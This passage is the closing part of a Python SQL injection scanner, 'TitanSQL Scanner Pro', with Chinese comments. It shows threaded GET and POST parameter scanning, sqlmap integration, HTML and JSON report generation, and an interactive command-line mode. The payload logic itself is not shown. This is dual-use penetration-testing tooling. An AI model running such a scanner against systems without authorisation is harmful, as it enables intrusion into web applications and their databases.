        Logger.info(f"发现 {param_count} 个 GET 参数: {[p[0] for p in self.params] if self.params else 'None'}")
        
        # 4. 并发扫描GET参数
        if param_count > 0:
            Logger.info(f"启动参数扫描引擎 (线程数: {self.threads})...")
            
            with ThreadPoolExecutor(max_workers=self.threads) as executor:
                # 提交任务
                futures = [executor.submit(self.scan_single_param, p) for p in self.params]
                
                # 等待完成
                for future in as_completed(futures):
                    if self.interrupted:
                        break
                    try:
                        future.result()
                    except Exception as e:
                        Logger.error(f"扫描线程发生异常: {e}")
        else:
            Logger.info("未发现GET参数，跳过GET参数扫描")
        
        self.progress.update("参数扫描")
        
        # 5. POST表单扫描
        if self.scan_post:
            Logger.info("开始POST表单扫描...")
            self.scan_post_forms()
            self.progress.update("POST表单扫描")
        else:
            Logger.info("POST表单扫描已禁用")
            self.progress.update("POST表单扫描")
        
        # 6. SQLMap集成扫描 (修复版)
        self.integrate_sqlmap_scan()
        
        # 7. 生成报告
        self.generate_report()

    def generate_report(self):
        """生成报告"""
        duration = time.time() - getattr(self, 'start_time', time.time())
        
        print("\n" + "="*60)
        Logger.info("扫描完成")
        print(f"耗时: {duration:.2f} 秒")
        print(f"发现漏洞数量: {len(self.vulnerabilities)}")
        
        if self.vulnerabilities:
            # 创建报告目录
            report_dir = f"titan_sql_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}"
            Path(report_dir).mkdir(exist_ok=True)
            
            # JSON报告
            target_clean = self.target_url.replace('/', '_').replace(':', '_').replace('.', '_')
            json_report = os.path.join(report_dir, f"vulnerabilities_{target_clean}.json")
            with open(json_report, "w", encoding="utf-8") as f:
                json.dump(self.vulnerabilities, f, indent=4, ensure_ascii=False)
            
            # HTML报告
            html_report = os.path.join(report_dir, f"report_{target_clean}.html")
            self._generate_html_report(html_report)
            
            Logger.success(f"详细报告已保存至: {report_dir}/")
            Logger.success(f"  - JSON格式: vulnerabilities_{target_clean}.json")
            Logger.success(f"  - HTML格式: report_{target_clean}.html")
        else:
            Logger.success("未发现明显的 SQL 注入漏洞。")
        print("="*60 + "\n")

    def _generate_html_report(self, filename):
        """生成HTML报告"""
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        
        html_content = f"""
        <!DOCTYPE html>
        <html lang="zh-CN">
        <head>
            <meta charset="UTF-8">
            <title>TitanSQL 扫描报告 - {self.target_url}</title>
            <style>
                body {{ font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background-color: #f4f4f9; margin: 0; padding: 20px; }}
                h1 {{ color: #2c3e50; border-bottom: 2px solid #3498db; padding-bottom: 10px; }}
                h2 {{ color: #2c3e50; margin-top: 30px; }}
                .summary {{ background: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); margin-bottom: 20px; }}
                table {{ width: 100%; border-collapse: collapse; background: #fff; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 5px rgba(0,0,0,0.1); margin-bottom: 20px; }}
                th, td {{ padding: 12px 15px; text-align: left; border-bottom: 1px solid #ddd; }}
                th {{ background-color: #34495e; color: #fff; }}
                tr:hover {{ background-color: #f1f1f1; }}
                .tag {{ padding: 4px 8px; border-radius: 4px; color: #fff; font-size: 0.85em; font-weight: bold; }}
                .risk-CRITICAL {{ background-color: #c0392b; }}
                .risk-HIGH {{ background-color: #e74c3c; }}
                .risk-MEDIUM {{ background-color: #e67e22; }}
                .risk-LOW {{ background-color: #f1c40f; color: #333; }}
                pre {{ background: #2d3436; color: #dfe6e9; padding: 10px; border-radius: 4px; white-space: pre-wrap; font-size: 0.9em; }}
                .footer {{ text-align: center; margin-top: 20px; color: #7f8c8d; }}
                .section {{ background: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); margin-bottom: 20px; }}
                .severity-high {{ color: #e74c3c; font-weight: bold; }}
                .severity-medium {{ color: #e67e22; font-weight: bold; }}
                .severity-low {{ color: #3498db; font-weight: bold; }}
            </style>
        </head>
        <body>
            <h1>🛡️ TitanSQL 安全审计报告</h1>
            <div class="summary">
                <h2>扫描摘要</h2>
                <p><strong>扫描目标:</strong> {self.target_url}</p>
                <p><strong>扫描时间:</strong> {timestamp}</p>
                <p><strong>扫描状态:</strong> {'完成' if not self.interrupted else '被中断'}</p>
                <p><strong>发现漏洞数:</strong> {len(self.vulnerabilities)}</p>
                <p><strong>扫描类型:</strong> SQL注入漏洞检测</p>
                <p><strong>作者:</strong> Xuekn</p>
            </div>
            
            <h2>发现的漏洞</h2>
            <div class="section">
            <table>
                <thead>
                    <tr>
                        <th width="15%">漏洞类型</th>
                        <th width="10%">参数</th>
                        <th width="15%">Payload</th>
                        <th width="10%">数据库</th>
                        <th width="50%">详情</th>
                    </tr>
                </thead>
                <tbody>
        """

        if not self.vulnerabilities:
            html_content += f"""
                <tr>
                    <td colspan="5" style="text-align: center; color: green; font-weight: bold;">
                        <h3>✅ 未发现SQL注入漏洞</h3>
                    </td>
                </tr>
            """
        else:
            for vuln in self.vulnerabilities:
                vuln_type = vuln.get('type', 'Unknown')
                param = vuln.get('param', 'N/A')
                payload = vuln.get('payload', vuln.get('payload_true', 'N/A'))
                db = vuln.get('db', 'Unknown')
                details = vuln.get('evidence', vuln.get('output_preview', 'N/A'))
                
                # 根据漏洞类型设置严重程度
                severity_class = ""
                if "Blind" in vuln_type:
                    severity_class = "severity-medium"
                elif "Error-Based" in vuln_type:
                    severity_class = "severity-high"
                elif "Time-Based" in vuln_type:
                    severity_class = "severity-medium"
                elif "SQLMap" in vuln_type:
                    severity_class = "severity-high"
                
                html_content += f"""
                    <tr class="{severity_class}">
                        <td>{vuln_type}</td>
                        <td>{param}</td>
                        <td><code>{payload}</code></td>
                        <td>{db}</td>
                        <td>{details}</td>
                    </tr>
                """

        html_content += """
                </tbody>
            </table>
            </div>
            
            <div class="section">
                <h2>安全建议</h2>
                <ul>
                    <li>使用参数化查询或预编译语句</li>
                    <li>实施输入验证和过滤</li>
                    <li>最小权限原则</li>
                    <li>定期更新和修补系统</li>
                    <li>部署Web应用防火墙(WAF)</li>
                    <li>进行定期安全审计</li>
                    <li>使用ORM框架避免直接SQL拼接</li>
                    <li>实施输出编码防止二次注入</li>
                </ul>
            </div>
            
            <div class="section">
                <h2>扫描详情</h2>
                <p><strong>扫描工具:</strong> TitanSQL Scanner Pro v4.1 (Xuekn Edition - Fixed)</p>
                <p><strong>扫描时间:</strong> """ + timestamp + """</p>
                <p><strong>扫描目标:</strong> """ + self.target_url + """</p>
                <p><strong>作者:</strong> Xuekn</p>
            </div>
            
            <div class="footer">
                <p>Generated by TitanSQL Scanner Pro for Kali Linux</p>
                <p>⚠️ 仅用于授权安全测试，请勿用于非法用途</p>
            </div>
        </body>
        </html>
        """

        with open(filename, 'w', encoding='utf-8') as f:
            f.write(html_content)

# ============================================================================
# INTERACTIVE MODE
# ============================================================================

def interactive_mode():
    """交互模式"""
    Logger.banner()
    print(f"{Colors.DIM}输入 'exit' 或 'quit' 退出程序{Colors.RESET}")
    print(f"{Colors.DIM}输入 'help' 查看帮助信息{Colors.RESET}")
    
    while True:
        try:
            prompt = f"\n{Colors.RED}TitanSQL{Colors.RESET} > "
            user_input = input(prompt).strip()
            
            if not user_input:
                continue
                
            if user_input.lower() in ['exit', 'quit']:
                print(f"{Colors.GREEN}Bye!{Colors.RESET}")
                break
                
            if user_input.lower() == 'help':
                print(f"""
{Colors.BOLD}TitanSQL 帮助信息{Colors.RESET}

{Colors.YELLOW}基本用法:{Colors.RESET}
  直接输入URL开始扫描，例如:
  http://testphp.vulnweb.com/artists.php?artist=1

{Colors.YELLOW}高级选项:{Colors.RESET}
  -threads NUM: 设置并发线程数 (默认: 5)
  -verbose: 启用详细输出
  -post: 启用POST表单扫描

{Colors.YELLOW}示例:{Colors.RESET}
  http://example.com/page?id=1
  http://example.com/search?q=test&category=all -post
  http://example.com/page?id=1 -threads 10 -verbose
""")
                continue
                
            if user_input.startswith("http"):
                # 解析参数
                parts = user_input.split()
                url = parts[0]
                
                # 解析选项
                threads = 5
                verbose = False
                scan_post = False
                
                for i, part in enumerate(parts[1:]):
                    if part == '-threads' and i+2 <= len(parts):
                        try:
                            threads = int(parts[i+2])
                        except (ValueError, IndexError):
                            pass
                    elif part == '-verbose':
                        verbose = True
                    elif part == '-post':
                        scan_post = True
                
                # 启动扫描
                scanner = TitanScannerPro(url, threads=threads, verbose=verbose, scan_post=scan_post)
                scanner.run()
            else:
                Logger.error("无效的输入。请输入以 http:// 或 https:// 开头的 URL。")
                
        except KeyboardInterrupt:
            print(f"\n{Colors.WARNING}[!] 用户中断操作{Colors.RESET}")
            break
        except Exception as e:
            Logger.error(f"发生未知错误: {e}")

# ============================================================================
# MAIN ENTRY POINT
# ============================================================================

def main():
    """主函数"""
    # 简单的参数解析，支持直接运行或带参数运行
    parser = argparse.ArgumentParser(description="TitanSQL Pro - Top Tier SQL Injection Scanner")
    parser.add_argument("-u", "--url", help="Target URL to scan")
    parser.add_argument("-t", "--threads", type=int, default=5, help="Number of concurrent threads")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output")
    parser.add_argument("--post", action="store_true", help="Enable POST form scanning")
    
    args = parser.parse_args()
    
    if args.url:
        # 命令行模式
        scanner = TitanScannerPro(args.url, threads=args.threads, verbose=args.verbose, scan_post=args.post)
        scanner.run()
    else:
        # 交互模式
        interactive_mode()

if __name__ == "__main__":
    main()